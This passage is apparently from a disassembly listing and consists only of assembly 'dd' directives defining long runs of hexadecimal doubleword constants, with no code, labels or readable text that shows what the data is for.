		dd 0ED62431Ah, 9C0E23B7h, 0BCD6ADC3h, 542036C3h, 83E2FA9Ah
		dd 2D31EDB8h, 33EFC6DDh, 15F55249h, 0B40B3B56h,	0AC575916h
		dd 0BFE9F59Bh, 2E007AA8h, 75C79E82h, 2DF80C4Ch,	0A058FCE9h
		dd 4B852939h, 31C1C940h, 952C898Dh, 4DA50EC5h, 0B285452Dh
		dd 2E204B1Dh, 122915BFh, 0FA5B5CB9h, 7E103909h,	0BD0DE031h
		dd 699547B6h, 19DD7712h, 0C7D6DE2Ah, 0F3D1DD0Ch, 20D103BCh
		dd 762826Eh, 3ACCF612h,	0F7ABB6CEh, 0E8295F79h,	3F1590FFh
		dd 5A7300E4h, 5DC50970h, 20055619h, 0A0C361B4h,	7751B002h
		dd 0DEAADE16h, 16133FFCh, 55B897D7h, 3120418Fh,	948D24A3h
		dd 0CB7A8800h, 0EE02D466h, 6242FCE0h, 1091FC0Fh, 79498F5Eh
		dd 9F3800B7h, 405BD92Fh, 3317FF72h, 41045C19h, 0DB102831h
		dd 5ADF5350h, 0AA18D4FFh, 9C211E89h, 3F6F2EDDh,	391523C2h
		dd 0E93AB635h, 0E0EB8E1h, 2A6B89CCh, 0A3AF5D45h, 13E8115Ah
		dd 95276000h, 0C05AE358h, 9CB09600h, 86B150DEh,	0CD88047Dh
		dd 0BD5B3149h, 800888C2h, 448C5452h, 0A325E728h, 9BEE6C2h
		dd 99D3160h, 0B57F71DAh, 2C612D40h, 0DE7BD1FFh,	4C623004h
		dd 5AA07913h, 0CA244B76h, 35E034E8h, 0F6EEFh, 0D97430A0h
		dd 162A43A2h, 0B860D453h, 0CD2F37CDh, 2A0B2D62h, 0B0111DEh
		dd 53026AF5h, 23267091h, 5DE8E7FAh, 7040D62Dh, 552EAAFDh
		dd 0B60147B7h, 0E4738EE0h, 0FC4BEC33h, 7D8C800Ch, 27F82A46h
		dd 7F66014Ch, 84D6C3BFh, 0C5645F0Bh, 89811F3Fh,	1A8FEA41h
		dd 0D7C8D5B6h, 0F8A04D57h, 9E07D988h, 0E2D7FB2Ch, 7B396877h
		dd 0E1111F0h, 0E00AA538h, 0C78F8A7Ah, 403A006Ch, 957F52E4h
		dd 0E92DB7E0h, 0C46F7193h, 0EB1AC55Bh, 0E901846Fh, 0C212715Fh
		dd 0AEC33E01h, 0A5E68D47h, 0C02A3EE0h, 0F966C602h, 604B03A0h
		dd 9D2EFD2Dh, 0DB9D2516h, 0EE0150BEh, 0FD876500h, 9D293591h
		dd 0B20F5F31h, 12DF2450h, 0C0264DADh, 8AE17BECh, 83131EFCh
		dd 20EF4DDEh, 11EF216Eh, 0CCE1E504h, 0AF09D6Ah,	3A5F8118h
		dd 0CB6A0913h, 3C011D23h, 30BF98C0h, 0EE537A20h, 2D667809h
		dd 0CC73FBABh, 75AE5F92h, 80E4DAADh, 8D0C9DCEh,	0CC2F288Ch
		dd 0FF6A259Eh, 0AB8006D9h, 0AAD83D59h, 12A41769h, 89ED0557h
		dd 687ABF0Ch, 6CF3E80Bh, 3A0BC45Eh, 0BD1C053Dh,	0DEA409BFh
		dd 4539EA7Bh, 3173D721h, 83B0DA17h, 2D14791Eh, 169670E6h
		dd 0F8B80850h, 8C23FE7Eh, 3A21DF5Eh, 28061CDDh,	970EC520h
		dd 667CEF0Bh, 97F27169h, 0BF8700DEh, 67A6E1C5h,	0F9EC9097h
		dd 40C48632h, 0E0122015h, 174588F1h, 0CD001423h, 3940459Ch
		dd 6DE443A0h, 0C67D0C00h, 0FD65BCD9h, 0B8334AB7h, 0FFC09ABh
		dd 1C1B7F82h, 9751EC8Ch, 0AB928CADh, 0CB838824h, 0C60D4B7Dh
		dd 40C1060Ah, 2ACD8D01h, 0E161446Ah, 7A610913h,	0BF1944FFh
		dd 71DD8B02h, 0D741E93Eh, 0EA9A05B8h, 829F8A3Eh, 954F37C0h
		dd 0F5E67530h, 23F21197h, 95C25713h, 5F8CC855h,	17A55083h
		dd 0B80BB5FEh, 1D5C2B08h, 0B618931h, 5142EB79h,	0E721DD02h
		dd 21C404D7h, 0BD308846h, 0EFC3202Ch, 325EE7ADh, 0CDBA0055h
		dd 0D4B823F3h, 6692C0Bh, 5F0518B7h, 63A03E19h, 90B9CE9Ch
		dd 0F8D06407h, 0E84BE8BCh, 0B88370C6h, 9EA0CF80h, 0D853A705h
		dd 70982578h, 0BACC26EAh, 7195FE3Ch, 0F18269FDh, 9D2717D5h
		dd 2AAF0764h, 0C019C850h, 69E46D48h, 60F72E14h,	93F12ADAh
		dd 0E2649Fh, 0EEF2CBB6h, 1F250990h, 0AFF455E4h,	4B90725h
		dd 59011342h, 2C97B761h, 0F4488019h, 7531DCE0h,	0D330909h
		dd 3557FD88h, 8018116Ah, 0BF724BEDh, 5D8CA06Ah,	69ED9534h
		dd 106719E4h, 54AC3008h, 0D98BB613h, 0E64B53A7h, 7D9BA2A7h
		dd 1AC930Ah, 33FC12BFh,	582F3A19h, 9F269A4Bh, 36F55B8Eh
		dd 0CA4B99BCh, 2FD37B1Eh, 46E329A6h, 0E1D33E8h,	5E8B902Dh
		dd 0E8FC44EBh, 0E715D236h, 0EDB65A5Bh, 803114B2h, 916A3021h
		dd 29E1FF1Eh, 0C9FB8D3h, 6AB0B461h, 3FF85B8h, 0EDAE2A52h
		dd 71C59591h, 913045BDh, 8A504E5Eh, 0A5692138h,	1D49AF6h
		dd 9311D537h, 0F92EACE2h, 2F283ACDh, 76F48A02h,	0C961C66Ch
		dd 76D36027h, 27E46170h, 342C86Dh, 4270765Bh, 0B520015Dh
		dd 7D9D3198h, 4243A29h,	1AF5DD04h, 286E98FBh, 70B8FF00h
		dd 8D329E87h, 5C161CE2h, 1A05C27Dh, 9AF53F3Bh, 98241ECh
		dd 0A45FE993h, 758A3A07h, 0A5B98A39h, 0D6CB5681h, 6B001D46h
		dd 7FEFAFEEh, 3011EAA8h, 7931CDEh, 3489D07Ah, 0FA86812Ch
		dd 4047050h, 4984C08Ah,	203FFD13h, 0EEABDEFBh, 0ED44EF00h
		dd 2F3DC619h, 9A181B57h, 0F822A60Fh, 4A00B503h,	6704AB68h
		dd 0C0C6BA4Ch, 0F4917A8Eh, 853A009Bh, 9920D1A7h, 0AE486B6Dh
		dd 18214211h, 24945BFEh, 0B7FF1654h, 2A37B145h,	6E3BD829h
		dd 0E74702C2h, 775462A8h, 810275C6h, 7521FEEFh,	491F7473h
		dd 7BE0A7CDh, 21F8D721h
		dd 0A000E873h, 1C437CB7h, 0CC6207B0h, 70BA5A5Dh, 2B052199h
		dd 0F9BD5901h, 225E95Fh, 77CA7A2Bh, 4E27B300h, 6F73BF71h
		dd 95214E34h, 477ABE32h, 0F81F0102h, 5274F6B3h,	0FC1C2Ch
		dd 0D7ED8257h, 5EB11814h, 7F948BFEh, 80091E10h,	7AD1A5C3h
		dd 80543725h, 23268951h, 0D54815FDh, 5ECC4B4Eh,	0F59D2D01h
		dd 39897F61h, 4C0BC82h,	0B1B52BD1h, 7FE18DF1h, 86C0949Bh
		dd 969CE869h, 1AF3B44Ch, 62A12755h, 97B75563h, 9EE0E602h
		dd 920C5D55h, 0EB2D8051h, 9750522Ah, 6309AB7h, 266D0723h
		dd 91EDF59h, 6D5EEB25h,	441646D6h, 9D2C89D8h, 6881A1E9h
		dd 0C659BD6Dh, 29C21631h, 46921220h, 0F9F839C5h, 6465ED95h
		dd 2AA6601Ch, 0A50E3858h, 74D7101h, 2BE1BD23h, 8A50C002h
		dd 951478F9h, 12C289EDh, 0E6592Eh, 0A57B70FCh, 771CCFABh
		dd 0D40022ADh, 0BB31CF4h, 14902623h, 1546DC78h,	615A6C02h
		dd 0C7648A0Fh, 46599Dh,	44754F17h, 241393B3h, 52A2F53Dh
		dd 0A212AFD2h, 0DAAA0AC4h, 0F3814BD8h, 0D82BDA98h, 5E87F98Ah
		dd 8E2FB90h, 763D95h, 0BFE44BFFh, 0D30B5CECh, 748EB9B7h
		dd 4A52409Ch, 5D2D9970h, 4F7CF985h, 0A9A6AE48h,	16590C11h
		dd 0A9080592h, 8FC33C1Bh, 5CF53FC9h, 1846D6FCh,	51E21602h
		dd 0D65E352Bh, 251446D6h, 12E773C5h, 4FB7F3F8h,	0B42DC8h
		dd 0A88248D4h, 1894DDF7h, 1002314Ch, 5F12143Dh,	0B37EB096h
		dd 6A2EEB45h, 8F7F2B80h, 4F181671h, 0C7A03BFEh,	0E5952AE1h
		dd 5BB5AD88h, 0BC79700h, 971EDD9Dh, 14F1F5BAh, 0EBB5762Dh
		dd 75E2A956h, 0C7BC1417h, 80AAE940h, 0FF9C00DFh, 0DED8818Ch
		dd 0B5118934h, 314B13A5h, 7E8F0F47h, 25DB8A8Ch,	0D8E06A54h
		dd 61E26057h, 0EFE646BDh, 20509D41h, 0AE84342Fh, 64B87034h
		dd 0D3B7BBC0h, 6A4B2096h, 0A70ED6Fh, 8546AE49h,	1CC189C8h
		dd 4B319655h, 0CD9D16E5h, 35F888A0h, 0BB500007h, 28320397h
		dd 3BC34F8h, 774FCDEh, 1B797235h, 7E0D26DBh, 4B14F12Bh
		dd 918D0102h, 237D71Dh,	1C871791h, 0AC140462h, 5BE18017h
		dd 89EB88h, 35F770C8h, 0D607C693h, 0E518A525h, 5C491136h
		dd 9D09C289h, 50FB6995h, 442283F5h, 92C1F54Bh, 56ABF106h
		dd 0E05CB6F6h, 163A767h, 42B4EBE5h, 7B975975h, 7907F909h
		dd 54356BC5h, 0CF228287h, 0E70E2AF1h, 0BC80446Ch, 12D16931h
		dd 0C3E66204h, 78BDA73Fh, 0A10EB6D2h, 46216D0Bh, 59816004h
		dd 4A2248FEh, 0D03B184h, 0F46E2E50h, 99975F7Ch,	2B20BF6Eh
		dd 0E3584EBDh, 538A4BB5h, 0FC4A5222h, 18AC00B9h, 0DECF058Ch
		dd 91397E1h, 4EC26DC3h,	6D2D4B5Ch, 5045C03Dh, 81268FEh
		dd 46F7923Fh, 7D3015B2h, 5E10B7EBh, 30B83263h, 0BCB5DC00h
		dd 5528D221h, 0AEE8007Bh, 0FE4EAAB7h, 0A75AE9DEh, 2177E1h
		dd 97120660h, 3977578Ah, 57EE31A5h, 75C4575Eh, 4510C5ECh
		dd 7D194816h, 3036DD04h, 50550489h, 0D7032CBCh,	7E7D34DDh
		dd 8044623Dh, 43DD8732h, 2E69B178h, 0BBB0202Eh,	0D2045C9Ch
		dd 52609047h, 0B55EC280h, 0A1614BC8h, 80BC2C21h, 0BD1F2D54h
		dd 0AA680080h, 96930519h, 475E6E11h, 0F5F9C02h,	0C4C631h
		dd 5B94CF0h, 42612573h,	5BE02002h, 5490585Ah, 0CC00DCEDh
		dd 507EE667h, 580CF291h, 0C0254398h, 97F4F774h,	4FB78D44h
		dd 4FD1405Bh, 0C24BB28Fh, 0BBFCA8Ch, 4D56C517h,	7CE84A5Ch
		dd 4D5A097Eh, 107D0762h, 0BDDE8BF9h, 240593C0h,	94890F80h
		dd 0B91D50CBh, 8995DDAEh, 1367DCF6h, 0AC38AB16h, 55C2E1EAh
		dd 0CF8D3237h, 14ED60E7h, 17F0C504h, 6193A492h,	0E66E495h
		dd 129E9C7h, 8CFAA924h,	1A0059C2h, 333945E7h, 0B8AB20h
		dd 97C9E88Ch, 0E455832Bh, 59051179h, 60026A61h,	0F7801DECh
		dd 653C7276h, 94007D72h, 0F922BCE0h, 13BD3324h,	0A4B52BCCh
		dd 0BF80611Ah, 0BE684996h, 0B8C6E4Bh, 562DE06Bh, 5D5D1AC6h
		dd 9499CE05h, 0AC78F93Dh, 0A3828C14h, 1D7DE5C0h, 489738BDh
		dd 19720015h, 3EF43FDh,	0E03B8388h, 80C78055h, 5F4DFB12h
		dd 92AE557h, 0E171A0DCh, 0B873CC2h, 89E0997Fh, 824E22Bh
		dd 0AF099D8Bh, 0AA562D8Bh, 301446D6h, 1F94A97h,	29C52595h
		dd 0FA51A3C4h, 909B3BC9h, 0D2728FDEh, 22F2CFC0h, 329730FFh
		dd 7A21578Fh, 0F20F5BDh, 3F06743h, 0F44BCB80h, 2D698C9Dh
		dd 300A4A8h, 81DE3D2Fh,	24844BEBh, 1E563F1Ah, 0FF6A4989h
		dd 0D8C0744Dh, 2F3A0CD4h, 9285E2E0h, 1928C1F9h,	0DFF2522Bh
		dd 58C4805Ch, 0AC8604Eh, 0B1982280h, 0B0853DEh,	787D3620h
		dd 60A684D7h, 0D8E28Ch,	0D07E66C5h, 56FECC0h, 0D4AD6901h
		dd 77E27443h, 0BD0DD8F8h, 0AEB85170h, 1E2B2E41h, 1CB5089Eh
		dd 0FABB6602h, 0B9A25C2Ah, 94E936Ah, 9C710871h,	0D2BAF80Eh
		dd 89681BDh, 60931F6Bh,	1B799C8h, 0C6349003h, 0D8C49262h
		dd 4300BC0Fh, 1F18ADCh,	77813739h, 0D5FA09D6h, 0B770613Ah
		dd 0FBB1A595h, 6D8185ECh, 0FFD93EA9h, 0DAEA4AC8h, 0EEC59009h
		dd 2410DD03h, 9972B5Bh,	0BB7F56EDh, 9D0BD102h, 0B6A5150Dh
		dd 29540123h, 8C0739BDh, 0D458D29h, 87759961h, 3051E495h
		dd 0C64727A2h, 46EBFFA0h, 1006780Bh, 5E1826Eh, 6609072Ah
		dd 88950D29h, 0C26085C6h, 0EF8F22h, 8EC3675Fh, 0E4C5E68Ch
		dd 990D4179h, 34D5A992h, 5CD9AA02h, 0B41C94D1h,	945E9C7h
		dd 77A4B157h, 460570h, 0D5C0AFB9h, 6DBD0374h, 10440C4Eh
		dd 2941698Dh, 2E221DB5h, 271BDA62h, 9A5A5F8h, 0B861FE16h
		dd 9565072Ch, 4A5E7214h, 41AED2D8h, 0F46E2F0Bh,	95E3C900h
		dd 0D659F2ECh, 0BAAAA098h, 23BDEB02h, 50815624h, 0B928FD9Bh
		dd 0F6D127h, 66BC00F6h,	913BE487h, 0F00B37CBh, 0FC0881B9h
		dd 4603F4ACh, 0BCACD8CFh, 0CE2DB881h, 294727E3h, 7049EC5Eh
		dd 0AF4D9510h, 8F98B0C0h, 0EAAE1465h, 0A0285C6h, 418D8912h
		dd 85015948h, 4AB1FA97h, 9C13DBFCh, 0F5F31F40h,	266F06D1h
		dd 985287Fh, 817974D8h,	0F86B0700h, 0C1863D27h,	2B65951Eh
		dd 0D15B60C0h, 0C2BAD7A9h, 0B454F71h, 97F8D58Ch, 35BD2FB6h
		dd 4DC2589h, 19D88B89h,	0B6F50FB9h, 33DFF0h, 0DED0BC8Eh
		dd 81EFD13Ch, 0FFF5D909h, 9F127A2Fh, 0B378C5DBh, 0BB9A09DCh
		dd 0D7B98ECh, 12D494AEh, 445D931h, 0BCD3B3FEh, 0B753C10Ch
		dd 2F2E5F64h, 82DA4AEAh, 0DB5CF789h, 0F5252510h, 7412EBC5h
		dd 1F7A7BEBh, 0D741F04Bh, 222C9D64h, 51E6222Eh,	0AD1F6940h
		dd 0E68D5B4Bh, 8F19089h, 3CA1CA71h, 6610E2FBh, 78C700E7h
		dd 63606A91h, 7000B66Ch, 16A764D5h, 0C44828CFh,	0EB17A174h
		dd 0D2364F8Eh, 1B25B07Dh, 9D4C5E3h, 3DD703DCh, 6F7C0350h
		dd 69B2D095h, 7851D15Ch, 3A3D5DD2h, 2DB95E2Dh, 105CBFEh
		dd 13F1600Dh, 0E009F115h, 8C81E831h, 0DC1E9ED9h, 610CB101h
		dd 50B2652Bh, 4ACDFA20h, 4ADBF629h, 0B79694DAh,	0D84E0249h
		dd 75819529h, 0F17098CCh, 0C5E30A8Ah, 595C53ADh, 127F1817h
		dd 0E3219484h, 49BF01CDh, 901DD509h, 371D6F2Ch,	5F53880Dh
		dd 0FE9D230Bh, 116881D1h, 6BC596E8h, 3281DCCh, 441502E5h
		dd 9E20E53h, 81B0D927h,	97B9476h, 61183889h, 0EE0A9D50h
		dd 0CD3A881Bh, 21791CDEh, 0D2311C65h, 4A53A310h, 0B603E5E2h
		dd 92D9C421h, 0DD32CED0h, 0F00A1F0h, 803EBE47h,	4B89B723h
		dd 8AB88C1Ch, 9FCF84Eh,	0B19CD10h, 8304E780h, 850166A2h
		dd 0C1D6DBAFh, 0CBEE4F4Ah
		dd 45D7FD0h, 58D01DBh, 498BAB16h, 8950DA5Bh, 898C71C0h
		dd 6071C2B7h, 40046097h, 0F8041A2Dh, 0C445B861h, 6FFE89FCh
		dd 3F2F0B8Fh, 1D0EA273h, 2552450Bh, 82091274h, 0B722703Fh
		dd 9658A950h, 0C0502F6Eh, 0B86ABE2Ch, 70530934h, 0E2595E79h
		dd 522C80BFh, 0D5684092h, 72DA3D8Ah, 0CA290504h, 0E803BA09h
		dd 0E6C5892Ah, 48E31F6Ch, 6F8DDEF3h, 0CB540B42h, 0DE1C764Bh
		dd 3C7E257Fh, 0A45DCB07h, 33B039E2h, 952BF59Dh,	0D209344h
		dd 3BA1A426h, 0BD4A165Eh, 4877B807h, 0FE936A09h, 801CD7Ah
		dd 0FDB109B4h, 0B5D041EBh, 0CD67172Fh, 8A6115F8h, 0CB32E8BDh
		dd 0B7F3E49Dh, 1E574092h, 0D48D9633h, 94812A5Ah, 282BF81Eh
		dd 2AD65839h, 3866FFBh,	0E266F1A9h, 82F4EA01h, 10D989h
		dd 99C3F781h, 0E926740Bh, 0F65E5440h, 0FC597802h, 23B37CCh
		dd 0C7552608h, 9D105E2Eh, 0C3441F55h, 8A644B14h, 442101Bh
		dd 0EF265630h, 5F4BF98Dh, 0F13B88h, 849313DEh, 5BDA8BD8h
		dd 209AE5A5h, 0CABC4145h, 2E225D38h, 9706595h, 0C736F18h
		dd 509BF3AFh, 570C66CCh, 0ECA71A99h, 7A214169h,	5DEFC8h
		dd 970D107Bh, 0DE3CDD0Fh, 904D7007h, 7D40371Eh,	50A7C15Dh
		dd 4A8FEC2Dh, 70CAE809h, 8F19BD9Dh, 36E0B688h, 80BD5309h
		dd 737DEB2Dh, 36B5ADDBh, 0ECE25300h, 5E609691h,	981C82Bh
		dd 1455BD10h, 96DFB783h, 47648CA2h, 4DE2564Eh, 0C072401Fh
		dd 0DAC97532h, 5F071B3Dh, 5BE9B5F3h, 0E2E25015h, 23103100h
		dd 512F247h, 5C5FDE00h,	4DBE6660h, 8E0F25CCh, 5B25DA64h
		dd 12FB796h, 7B6012EFh,	3B122535h, 63122F7Bh, 4AA3E7ABh
		dd 0F3C0269Ah, 679A75Dh, 0B07F4709h, 12DFFE4Fh,	14ABE712h
		dd 10C05351h, 5B121B8Dh, 0AD88BD5Fh, 5E8A1Ch, 2D31D8BAh
		dd 556B33BBh, 0C7362EE3h, 1A212D8Eh, 0F9F8FD6Eh, 0B7AD0997h
		dd 4FC78007h, 998D8925h, 35F22A5Ah, 0EAC5B713h,	31B80516h
		dd 326AAAE4h, 602E0800h, 0BA3A0E87h, 0EA8C7C4Bh, 15B52E29h
		dd 0DBBF816Ah, 0A608523Bh, 3DEA068h, 0C75CA0CCh, 0DC1070D3h
		dd 2B092C1Dh, 1071299Dh, 0FB17A14Ah, 2F96DC8Ch,	96C45753h
		dd 45648300h, 133D22D8h, 823F00F8h, 4C5818C5h, 5D3835E1h
		dd 6450AF5Fh, 2A4200DFh, 19FEE3DCh, 0A8B6BC31h,	4BB03B40h
		dd 2F202D7h, 5FEAB1ECh,	0B802A742h, 4FB22319h, 0FBEB9F40h
		dd 0F99A694Bh, 58C316C8h, 0E7E8ADEAh, 0A7118180h, 0B1013F7Dh
		dd 604CA9DBh, 292E9635h, 54857FF5h, 0C184DBFBh,	8EF0C7F3h
		dd 2DDE27D4h, 6DC60C9h,	67BF2F12h, 0B0245112h, 295DECFAh
		dd 3DA98D4Fh, 4B51EC4Fh, 0C8FD1885h, 6F07FEB8h,	0C541CA27h
		dd 81B20114h, 0B7D28E49h, 0B1D12B8h, 0A0D269BDh, 0D5A51EE9h
		dd 3CD8BB81h, 272FFC60h, 0EB70F0AAh, 0F1026911h, 0E2DC9B26h
		dd 0F76AFF8Fh, 0C5366C55h, 0AF26E9F4h, 9E585E38h, 0AB25F67Dh
		dd 0C00C5C9Dh, 7AFDCF81h, 90D11095h, 6B63042Dh,	0AF219E94h
		dd 6B9B2B57h, 0A302C68Fh, 0DE5C437Dh, 0E100825Ah, 8AE9022Ch
		dd 6D2FAF5Ch, 9D71C2F1h, 995702FDh, 0C1CB0E08h,	0EDC83DEh
		dd 0BEF3327Ch, 2C47ED61h, 0D5D802D2h, 1B64816Dh, 180B6D8h
		dd 14EB8576h, 20B29D4Ch, 6017FE17h, 0A5885290h,	8B5A0034h
		dd 2E674419h, 6058E0A5h, 1D2F48B7h, 0DA3A5651h,	0A0BC8EADh
		dd 3C54D434h, 7D0B206Bh, 9C81E6E2h, 6C510321h, 2F1D20F7h
		dd 3CF66A5Bh, 146401DEh, 0F84D877h, 0D8C92B60h,	242DBF20h
		dd 0DC5A813h, 56B3075h,	167983C6h, 0A2D8FABCh, 25C52DBDh
		dd 3527B97Bh, 0FB5A0052h, 15393F35h, 0DE90A926h, 7B935860h
		dd 0EB8A02BEh, 6B5CA403h, 7D458157h, 6E6B902Fh,	9590001Fh
		dd 0B729771Bh, 8BD912BFh, 1858A8FCh, 2B54A0FBh,	2E94BBDh
		dd 3D9D0974h, 80413676h, 0BD2A2CE3h, 9B37A99Dh,	123EB440h
		dd 0F65402CAh, 301AB263h, 8B04CD42h, 75AB5BFAh,	804BF2ACh
		dd 26DDBD46h, 0FC519087h, 79018C18h, 88EA5051h,	336A870Fh
		dd 4CC0980h, 6087026Ah,	57508030h, 3C0B975Fh, 49B54343h
		dd 995C61A0h, 180525C8h, 4FA1CF84h, 392EF7EDh, 4D42F6ADh
		dd 0E0BC4DFFh, 8FF4E522h, 811778FFh, 45ECF67Bh,	3897E0h
		dd 2C140B66h, 0BE5BBFA9h, 3360EA09h, 9AA2FFB5h,	32558C0Fh
		dd 0F81150DFh, 19016489h, 0D7E7B9F5h, 0B15B1E6Ah, 23947A83h
		dd 6FE9A313h, 2C00CEB8h, 92EBDB8Bh, 50D6DD3h, 258D0912h
		dd 1D8EAB17h, 28C6A5Fh,	394770F8h, 2E1A554Dh, 732D035Ch
		dd 0CFF7F0ABh, 12670358h, 0D0E90F41h, 6BE8AE80h, 5D7FFD1Bh
		dd 15DD964Bh, 0EFB02236h, 530535B7h, 32F05B29h,	0D9820AEh
		dd 0B72BF59h, 0EF26CD00h, 81146E4Ch, 0E0824B90h, 13408535h
		dd 0FF6A335Fh, 0B3581512h, 29B11762h, 55C70B20h, 0DB19773h
		dd 0C8BB1010h, 54661256h, 4A8EB9B0h, 0B508E3ACh, 0A84A2021h
		dd 5C1B5D09h, 42EE6488h, 5CDADF80h, 459027E3h, 0D12D5E9Dh
		dd 6BFBD6B9h, 8F2603F4h, 0F0CDE06Fh, 133728F4h,	41DF3A7h
		dd 0AF13A3BEh, 0DA8A2C81h, 0BD94932Bh, 201A198Ah, 5ADA5435h
		dd 0B93F4E31h, 16427D72h, 0C328E92Ch, 1B2D32A9h, 9D517E85h
		dd 0AE9D9389h, 5F2A6536h, 0BB5C4E81h, 0C01AA84Dh, 89709D31h
		dd 2A76081h, 0C96C2870h, 25BD0E2Fh, 8A730F4Dh, 47441811h
		dd 0FB320714h, 0B6215EADh, 31171748h, 7B22BD8Dh, 5466F5F9h
		dd 1F880F28h, 799D0B09h, 11BB7321h, 1E198425h, 2871AF52h
		dd 0FB942DBDh, 0B8B8395h, 6595EF78h, 15EE0897h,	0AB85090Fh
		dd 8E3FFF08h, 0BBDA9700h, 2580E62Ch, 0BCCDCFD7h, 61611464h
		dd 0D5F82AB9h, 3DB22146h, 8B42C8D5h, 0FBB7FBh, 4DE5DB9Fh
		dd 69DEC031h, 9A279250h, 1B0D211h, 8ABFC02Bh, 2E3743F4h
		dd 64C16B24h, 9F2B099Fh, 0CF15C891h, 4771D369h,	1927E328h
		dd 953C9420h, 50F40A89h, 993112F4h, 0B52E086Ch,	0C1BFF6A7h
		dd 6A29F185h, 0BFF0B9B2h, 5F27EFE1h, 70CE7B47h,	62976A5Ah
		dd 513856E7h, 372BA561h, 0F021074Eh, 45EFE058h,	0B8ECFC73h
		dd 0BB12E1A6h, 54A87232h, 23732225h, 2DABF0ADh,	2B37E1FFh
		dd 25C0DF01h, 0C47E6690h, 0A125AC82h, 83270449h, 3360F1B1h
		dd 0EBE705ABh, 0F7D3612Eh, 9D62AEFEh, 87409A79h, 5A07BAh
		dd 8567415Ch, 0BE197502h, 0E5D9804h, 68B8F0D0h,	0A84F10A3h
		dd 0FCBCD9FDh, 0BC058C71h, 31F58D89h, 6FACAE34h, 911FA5A2h
		dd 0DA698016h, 0B060F9DDh, 0A534BE2Bh, 0DB5B6562h, 58CF3970h
		dd 9D705129h, 1C510E73h, 0EF00FB18h, 3A72DC8Bh,	0C9E82A96h
		dd 5F73BDA6h, 55010709h, 602738BDh, 27A15047h, 9760B568h
		dd 0FA5A8A0Bh, 9D0862F6h, 253230E9h, 6B6C5CC9h,	0D6A58AFCh
		dd 0D1AC4082h, 0A61FEBFFh, 83C021D3h, 940A6609h, 6B72255Fh
		dd 0E8A0318Bh, 25FD9529h, 0F75F12B5h, 1600263Dh, 0FE59733h
		dd 68808B8Ah, 0C127B88Dh, 20A7D47Eh, 0C05B4A0Ch, 0DEBB726Dh
		dd 74DB2AFFh, 595BC080h, 0A804F78Dh, 1FA71312h,	81D9D8FFh
		dd 0D2BB39A0h, 1FC81E12h, 637987E1h, 7E16E8EDh,	980910E0h
		dd 22B2E9EFh, 5CD98A05h, 61FA6A75h, 0FD4AD576h,	63162E28h
		dd 59B0CCE7h, 0F1FC6011h, 0CE6F5101h, 57E6801Bh, 977D9874h
		dd 8B5B4C8h, 27F61ABEh,	0CF6496D2h, 0DBFF8100h,	4B6F92AFh
		dd 10CA0374h, 41D4BBE2h, 9FDD58D8h, 7925E2B8h, 5A6F5C26h
		dd 0C780C3B5h, 0C680FB67h, 16927026h, 1DB81E4h,	56225989h
		dd 3F6321F5h, 0F64ECCh
		dd 6F2FC5B3h, 1BD3808Eh, 6CBE8509h, 41AA3283h, 0DFE5DE69h
		dd 0B8D9132Eh, 0BF50C089h, 0FBA98428h, 944DA36Ch, 0F05B8EBCh
		dd 4B855BE0h, 0B3F88C41h, 8E686D3Ah, 2050764Dh,	0ED5325BBh
		dd 0B8A912Ah, 6F8B4EEAh, 5F7092FBh, 0DE950025h,	0D7F9076Fh
		dd 89799B40h, 0EE02D925h, 0B0C49D17h, 0F4402A00h, 22EE3478h
		dd 79AA7343h, 18C100A7h, 52EFCCD4h, 0B54A8948h,	88E21AEFh
		dd 4A2D647Fh, 64A48850h, 22BD800h, 0A8C52ABh, 0DD1709F2h
		dd 3B92A7F4h, 0DF00D959h, 52C7F511h, 6D9401D0h,	58686EB8h
		dd 1E857EBCh, 0DAB7E770h, 0B5090961h, 1E5728A5h, 75A6CB4Bh
		dd 4979B456h, 0B024F72Eh, 2F1DA7F1h, 0C61029DAh, 43009874h
		dd 10D7618h, 881AD5BDh,	25D42DE9h, 24C0C252h, 8DF68008h
		dd 0B0B54AFh, 0C5F57F72h, 0F2BBB555h, 61020E6Eh, 0BA8BACEh
		dd 0BDEA7F9Dh, 1C91D402h, 44BA1CD7h, 0FB528BA0h, 1F91CCE3h
		dd 899D2F03h, 346D3790h, 729A2785h, 0D4055A85h,	0D3B2AD6Dh
		dd 1F80979Ah, 25558AA8h, 0F190589Fh, 5E238B6Bh,	0FB4A096Ah
		dd 8EB64652h, 553217B2h, 0B325B9F8h, 882E10CEh,	1AF500B2h
		dd 920FC6CBh, 9501DF8Fh, 0A0D26940h, 0D76C3522h, 53F5A913h
		dd 0E2DBA684h, 0D3C5A963h, 6B09D9FDh, 952D6EF0h, 7B9D06CEh
		dd 0BDF9145Ch, 8D6FEFD2h, 6BD79A02h, 57E2BEE8h,	8FCB440Eh
		dd 0FC4023F1h, 49F6EF9h, 0AA5693C5h, 4E70B8E7h,	3BCA699Eh
		dd 0B89344D8h, 26FD4B6Ch, 20448ECh, 61B501DAh, 7AA99295h
		dd 8C19ACh, 0BC34961Ch,	5F507136h, 0FBAB0B97h, 701A7086h
		dd 0C8BE4902h, 0CAA1B531h, 729455D0h, 234A83B8h, 0E55872E7h
		dd 0E20B4116h, 422B69A3h, 113DB727h, 0B2DD8117h, 73785278h
		dd 0A410BBC3h, 44622DE2h, 0DFAC195Fh, 0BEBD522Bh, 0BF200F6Eh
		dd 5F1A9D2Bh, 85FF3872h, 54226261h, 16572919h, 58279385h
		dd 4732A8F2h, 75155621h, 5B9C8167h, 0D0E3532Fh,	20072857h
		dd 0DA68D096h, 50738A41h, 5199883Ah, 7B031000h,	28807D4Eh
		dd 52E10533h, 538DF63Ah, 0E04AE6C0h, 5A525BDFh,	0B2ECF65Fh
		dd 11C13015h, 9375CE95h, 833C5846h, 0B5AB416h, 4A76EC8h
		dd 94D76D4Dh, 0AC0BEDEAh, 6AF98C14h, 0BAB75F04h, 1C1AFB8h
		dd 0F157D85h, 0A9429734h, 2D52BC8Eh, 545043E1h,	6E95BAB8h
		dd 0EB35B7AAh, 94207601h, 0F5E250FDh, 98705C89h, 7ECB8B95h
		dd 333EDCFEh, 8DF38260h, 0FF4449FFh, 97849F88h,	9AE361h
		dd 58FF08A8h, 31684Dh, 0BF74BEDDh, 153A0B7Ch, 97B82C09h
		dd 7ACC5C61h, 435009D3h, 20DE4A0Eh, 0F38B2440h,	0B95F2103h
		dd 0A8A1E780h, 96E6CBFh, 99E93B19h, 379D1A78h, 0FB0A00FAh
		dd 555F6D05h, 3DA35809h, 9302DF2Ah, 290033F5h, 0BC18AD95h
		dd 8AC184D3h, 0AC04BDF9h, 1F008C18h, 0AED2773Eh, 0EC8DB81h
